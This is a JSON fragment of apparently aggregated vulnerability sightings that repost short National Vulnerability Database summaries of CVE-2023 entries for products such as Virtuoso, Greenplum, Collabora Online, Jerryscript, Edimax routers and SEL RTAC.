"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31617", "type": "seen", "source": "https://t.me/cibsecurity/64149", "content": "\u203c CVE-2023-31617 \u203c\n\nAn issue in the dk_set_delete component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:43.000000Z"}, {"uuid": "403ad212-f170-4583-ae82-6576295331df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31131", "type": "seen", "source": "https://t.me/cibsecurity/64181", "content": "\u203c CVE-2023-31131 \u203c\n\nGreenplum Database (GPDB) is an open source data warehouse based on PostgreSQL. In versions prior to 6.22.3 Greenplum Database used an unsafe methods to extract tar files within GPPKGs. greenplum-db is vulnerable to path traversal leading to arbitrary file writes. An attacker can use this vulnerability to overwrite data or system files potentially leading to crash or malfunction of the system. Any files which are accessible to the running process are at risk. All users are requested to upgrade to Greenplum Database version 6.23.2 or higher. There are no known workarounds for this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T02:29:59.000000Z"}, {"uuid": "edb6a2f6-0164-4935-bf56-1051594dbc77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31614", "type": "seen", "source": "https://t.me/cibsecurity/64148", "content": "\u203c CVE-2023-31614 \u203c\n\nAn issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:43.000000Z"}, {"uuid": "5f1b849f-c6ea-4bfe-9166-85bcc0d9a83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31145", "type": "seen", "source": "https://t.me/cibsecurity/64173", "content": "\u203c CVE-2023-31145 \u203c\n\nCollabora Online is a collaborative online office suite based on LibreOffice technology. This vulnerability report describes a reflected XSS vulnerability with full CSP bypass in Nextcloud installations using the recommended bundle. The vulnerability can be exploited to perform a trivial account takeover attack. The vulnerability allows attackers to inject malicious code into web pages, which can be executed in the context of the victim's browser session. This means that an attacker can steal sensitive data, such as login credentials or personal information, or perform unauthorized actions on behalf of the victim, such as modifying or deleting data. In this specific case, the vulnerability allows for a trivial account takeover attack. An attacker can exploit the vulnerability to inject code into the victim's browser session, allowing the attacker to take over the victim's account without their knowledge or consent. This can lead to unauthorized access to sensitive information and data, as well as the ability to perform actions on behalf of the victim. Furthermore, the fact that the vulnerability bypasses the Content Security Policy (CSP) makes it more dangerous, as CSP is an important security mechanism used to prevent cross-site scripting attacks. By bypassing CSP, attackers can circumvent the security measures put in place by the web application and execute their malicious code. This issue has been patched in versions 22.05.13, 21.11.9, and 6.4.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T00:29:52.000000Z"}, {"uuid": "96cde2a8-4870-4089-b0d2-bbebdcb21067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31844", "type": "seen", "source": "https://t.me/cibsecurity/64133", "content": "\u203c CVE-2023-31844 \u203c\n\nSourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_subject.php?id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T16:43:26.000000Z"}, {"uuid": "1d3c3343-d4f0-4b8e-ac0e-273b531bf32d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31845", "type": "seen", "source": "https://t.me/cibsecurity/64126", "content": "\u203c CVE-2023-31845 \u203c\n\nSourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_class.php?id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T16:43:19.000000Z"}, {"uuid": "f24c1bd8-7363-4d54-be1c-7677d9bec1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31842", "type": "seen", "source": "https://t.me/cibsecurity/64124", "content": "\u203c CVE-2023-31842 \u203c\n\nSourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/index.php?page=edit_faculty&id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T16:43:14.000000Z"}, {"uuid": "66674b8f-b5ef-4bbe-a8cb-6250b25c3616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31916", "type": "seen", "source": "https://t.me/cibsecurity/64033", "content": "\u203c CVE-2023-31916 \u203c\n\nJerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the jmem_heap_finalize at jerry-core/jmem/jmem-heap.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:22.000000Z"}, {"uuid": "c1b9a17b-482c-4d12-948f-1077ee48c26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31625", "type": "seen", "source": "https://t.me/cibsecurity/64147", "content": "\u203c CVE-2023-31625 \u203c\n\nAn issue in the psiginfo component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:42.000000Z"}, {"uuid": "6a008973-072d-4730-96fb-84fb017ed544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31616", "type": "seen", "source": "https://t.me/cibsecurity/64146", "content": "\u203c CVE-2023-31616 \u203c\n\nAn issue in the bif_mod component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:41.000000Z"}, {"uuid": "25acac67-3a23-44cb-aa7e-23084c934382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31621", "type": "seen", "source": "https://t.me/cibsecurity/64145", "content": "\u203c CVE-2023-31621 \u203c\n\nAn issue in the kc_var_col component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:40.000000Z"}, {"uuid": "9c945e36-29b3-46fd-9a13-a60700a28563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31612", "type": "seen", "source": "https://t.me/cibsecurity/64143", "content": "\u203c CVE-2023-31612 \u203c\n\nAn issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:38.000000Z"}, {"uuid": "218c5121-7f86-4412-91e3-fe2c71b8aa18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31623", "type": "seen", "source": "https://t.me/cibsecurity/64142", "content": "\u203c CVE-2023-31623 \u203c\n\nAn issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:37.000000Z"}, {"uuid": "3a0e9589-8e12-4bf5-ae67-d070fc74a45a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31627", "type": "seen", "source": "https://t.me/cibsecurity/64141", "content": "\u203c CVE-2023-31627 \u203c\n\nAn issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:36.000000Z"}, {"uuid": "abfe43ad-54ea-466e-a47a-42308e5bddbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31408", "type": "seen", "source": "https://t.me/cibsecurity/64097", "content": "\u203c CVE-2023-31408 \u203c\n\nCleartext Storage of Sensitive Information in SICK FTMg AIR FLOW SENSOR withPartnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows a remoteattacker to potentially steal user credentials that are stored in the user\u00e2\u20ac\u2122s browsers local storage viacross-site-scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:43.000000Z"}, {"uuid": "13b27180-1fad-4ac2-9138-74110d51fb5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31160", "type": "seen", "source": "https://t.me/cibsecurity/63835", "content": "\u203c CVE-2023-31160 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:42.000000Z"}, {"uuid": "f1575528-6515-4a6a-aa16-d1e66c5c8045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31986", "type": "seen", "source": "https://t.me/cibsecurity/64116", "content": "\u203c CVE-2023-31986 \u203c\n\nA Command Injection vulnerability in Edimax Wireless Router N300 Firmware BR-6428NS_v4 allows attacker to execute arbitrary code via the setWAN function in /bin/webs without any limitations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T16:43:05.000000Z"}, {"uuid": "7e638bc0-0e59-49b8-a4bb-2d91451490f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31409", "type": "seen", "source": "https://t.me/cibsecurity/64089", "content": "\u203c CVE-2023-31409 \u203c\n\nUncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an remote attacker to influence the availability of the webserver by invocing a Slowloris style attack via HTTP requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:32.000000Z"}, {"uuid": "858020dd-4cc3-484f-a894-eb6a30730596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31913", "type": "seen", "source": "https://t.me/cibsecurity/64032", "content": "\u203c CVE-2023-31913 \u203c\n\nJerryscript 3.0 *commit 1a2c047) was discovered to contain an Assertion Failure via the component parser_parse_class at jerry-core/parser/js/js-parser-expr.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:21.000000Z"}, {"uuid": "b33bdf4e-9174-49e2-ab90-b577e39854c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31983", "type": "seen", "source": "https://t.me/cibsecurity/64037", "content": "\u203c CVE-2023-31983 \u203c\n\nA Command Injection vulnerability in Edimax Wireless Router N300 Firmware BR-6428NS_v4 allows attacker to execute arbitrary code via the mp function in /bin/webs without any limitations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T20:26:57.000000Z"}, {"uuid": "a4d81095-9408-4f4d-869e-66f07708ec03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31919", "type": "seen", "source": "https://t.me/cibsecurity/64035", "content": "\u203c CVE-2023-31919 \u203c\n\nJerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the jcontext_raise_exception at jerry-core/jcontext/jcontext.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:24.000000Z"}, {"uuid": "a1c7ce37-66c3-48e2-9bc2-732c07505516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31921", "type": "seen", "source": "https://t.me/cibsecurity/64029", "content": "\u203c CVE-2023-31921 \u203c\n\nJerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_big_uint_div_mod at jerry-core/ecma/operations/ecma-big-uint.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:15.000000Z"}, {"uuid": "3c2be7d9-13f2-483e-80f6-626d0538ecbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31920", "type": "seen", "source": "https://t.me/cibsecurity/64027", "content": "\u203c CVE-2023-31920 \u203c\n\nJerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the vm_loop at jerry-core/vm/vm.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:13.000000Z"}, {"uuid": "d7c691e0-42b2-4e6d-baeb-7531186e24bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31918", "type": "seen", "source": "https://t.me/cibsecurity/64025", "content": "\u203c CVE-2023-31918 \u203c\n\nJerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the parser_parse_function_arguments at jerry-core/parser/js/js-parser.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:11.000000Z"}, {"uuid": "9b48920c-83f8-4892-9ff8-8259f8023f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31914", "type": "seen", "source": "https://t.me/cibsecurity/64022", "content": "\u203c CVE-2023-31914 \u203c\n\nJerryscript 3.0 (commit 05dbbd1) was discovered to contain out-of-memory issue in malloc.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:08.000000Z"}, {"uuid": "26c40adb-28a8-4c9c-9e6d-e273888c4171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31199", "type": "seen", "source": "https://t.me/cibsecurity/64020", "content": "\u203c CVE-2023-31199 \u203c\n\nImproper access control in the Intel(R) Solid State Drive Toolbox(TM) before version 3.4.5 may allow a privileged user to potentially enable escalation of privilege via local access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:03.000000Z"}, {"uuid": "0a3aa78a-a5fb-4366-b43c-733eb2e07ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31922", "type": "seen", "source": "https://t.me/cibsecurity/64019", "content": "\u203c CVE-2023-31922 \u203c\n\nQuickJS commit 2788d71 was discovered to contain a stack-overflow via the component js_proxy_isArray at quickjs.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:02.000000Z"}, {"uuid": "d801abce-4d34-4d66-9beb-57868b1f66b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31197", "type": "seen", "source": "https://t.me/cibsecurity/64018", "content": "\u203c CVE-2023-31197 \u203c\n\nUncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:01.000000Z"}, {"uuid": "bb4e6ac3-ec70-47e3-af33-190d773b9e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31985", "type": "seen", "source": "https://t.me/cibsecurity/64011", "content": "\u203c CVE-2023-31985 \u203c\n\nA Command Injection vulnerability in Edimax Wireless Router N300 Firmware BR-6428NS_v4 allows attacker to execute arbitrary code via the formAccept function in /bin/webs without any limitations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T16:26:52.000000Z"}, {"uuid": "e89ca87b-0386-4418-b1d9-f9efdb7c4732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31502", "type": "seen", "source": "https://t.me/cibsecurity/63950", "content": "\u203c CVE-2023-31502 \u203c\n\nAltenergy Power Control Software C1.2.5 was discovered to contain a remote code execution (RCE) vulnerability via the component /models/management_model.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T02:26:47.000000Z"}, {"uuid": "1ab4f28d-d895-42d7-8324-01cfeb62c28c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31555", "type": "seen", "source": "https://t.me/cibsecurity/63808", "content": "\u203c CVE-2023-31555 \u203c\n\npodofoinfo 0.10.0 was discovered to contain a segmentation violation via the function PoDoFo::PdfObject::DelayedLoad.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:43.000000Z"}, {"uuid": "ca9be481-941e-482a-9907-2494a8e34aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31162", "type": "seen", "source": "https://t.me/cibsecurity/63841", "content": "\u203c CVE-2023-31162 \u203c\n\nAn Improper Input Validation vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to arbitrarily alter the content of a configuration file.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:51.000000Z"}, {"uuid": "c788ef68-8a6a-4a79-b609-c2dfe385c9d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31149", "type": "seen", "source": "https://t.me/cibsecurity/63840", "content": "\u203c CVE-2023-31149 \u203c\n\nAn Improper Input Validation vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to execute arbitrary code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:50.000000Z"}, {"uuid": "d2c64ab6-ad54-424e-b0ec-83a6415f6b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31910", "type": "seen", "source": "https://t.me/cibsecurity/63764", "content": "\u203c CVE-2023-31910 \u203c\n\nJerryscript 3.0 (commit 05dbbd1) was discovered to contain a heap-buffer-overflow via the component parser_parse_function_statement at /jerry-core/parser/js/js-parser-statm.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T18:19:49.000000Z"}, {"uuid": "1dc67ea3-32e1-460c-9d6d-b6be35e017eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31497", "type": "seen", "source": "https://t.me/cibsecurity/63924", "content": "\u203c CVE-2023-31497 \u203c\n\nIncorrect access control in Quick Heal Technologies Limited Seqrite Endpoint Security (EPS) all versions prior to v8.0 allows attackers to escalate privileges to root via supplying a crafted binary to the target system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T00:15:40.000000Z"}, {"uuid": "5c8affb6-5a63-4cb8-9fa9-76d3c8457595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "https://t.me/cibsecurity/63715", "content": "\u203c CVE-2023-31478 \u203c\n\nAn issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T02:14:01.000000Z"}, {"uuid": "0a7d39c4-42ec-47d7-8b6f-5bfc52f1b342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31146", "type": "seen", "source": "https://t.me/cibsecurity/63928", "content": "\u203c CVE-2023-31146 \u203c\n\nVyper is a Pythonic smart contract language for the Ethereum virtual machine. Prior to version 0.3.8, during codegen, the length word of a dynarray is written before the data, which can result in out-of-bounds array access in the case where the dynarray is on both the lhs and rhs of an assignment. The issue can cause data corruption across call frames. The expected behavior is to revert due to out-of-bounds array access. Version 0.3.8 contains a patch for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T00:15:47.000000Z"}, {"uuid": "9062aca8-7527-4e3c-8bac-6687f7c81bcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31477", "type": "seen", "source": "https://t.me/cibsecurity/63858", "content": "\u203c CVE-2023-31477 \u203c\n\nA path traversal issue was discovered on GL.iNet devices before 3.216. Through the file sharing feature, it is possible to share an arbitrary directory, such as /tmp or /etc, because there is no server-side restriction to limit sharing to the USB path.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T07:15:00.000000Z"}, {"uuid": "dd0b3750-1072-4160-98c3-428c8f37cc7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "seen", "source": "https://t.me/cibsecurity/63880", "content": "\u203c CVE-2023-31445 \u203c\n\nCassia Access controller before 2.1.1.2203171453, was discovered to have a unprivileged -information disclosure vulnerability that allows read-only users have the ability to enumerate all other users and discover e-mail addresses, phone numbers, and privileges of all other users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T16:15:25.000000Z"}, {"uuid": "6c54c9d4-83b9-4012-a309-f1d52b5e1599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31148", "type": "seen", "source": "https://t.me/cibsecurity/63834", "content": "\u203c CVE-2023-31148 \u203c\n\nAn Improper Input Validation vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to execute arbitrary code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:41.000000Z"}, {"uuid": "16d1535d-417f-433d-ab09-e706d11ca39e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31156", "type": "seen", "source": "https://t.me/cibsecurity/63844", "content": "\u203c CVE-2023-31156 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:57.000000Z"}, {"uuid": "ae3c4a79-96ec-49ce-87e5-8553181f0fe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31154", "type": "seen", "source": "https://t.me/cibsecurity/63843", "content": "\u203c CVE-2023-31154 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:56.000000Z"}, {"uuid": "3103c2d6-51a0-4150-81a9-cd9317addd8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31161", "type": "seen", "source": "https://t.me/cibsecurity/63842", "content": "\u203c CVE-2023-31161 \u203c\n\nAn\u00c2\u00a0Improper Input Validation vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow an authenticated remote attacker to use internal resources, allowing a variety of potential effects.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:55.000000Z"}, {"uuid": "283d193a-7b04-448b-8074-d52289ad99dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31554", "type": "seen", "source": "https://t.me/cibsecurity/63819", "content": "\u203c CVE-2023-31554 \u203c\n\nxpdf pdfimages v4.04 was discovered to contain a stack overflow in the component Catalog::readPageLabelTree2(Object*). This vulnerability allows attackers to cause a Denial of Service (DoS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:59.000000Z"}, {"uuid": "7286d271-f45b-4fda-bb87-9c56cc203a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31568", "type": "seen", "source": "https://t.me/cibsecurity/63818", "content": "\u203c CVE-2023-31568 \u203c\n\nPodofo v0.10.0 was discovered to contain a heap buffer overflow via the component PoDoFo::PdfEncryptRC4::PdfEncryptRC4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:59.000000Z"}, {"uuid": "5ab734bd-1a19-4fc6-8a8e-f7205db428d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 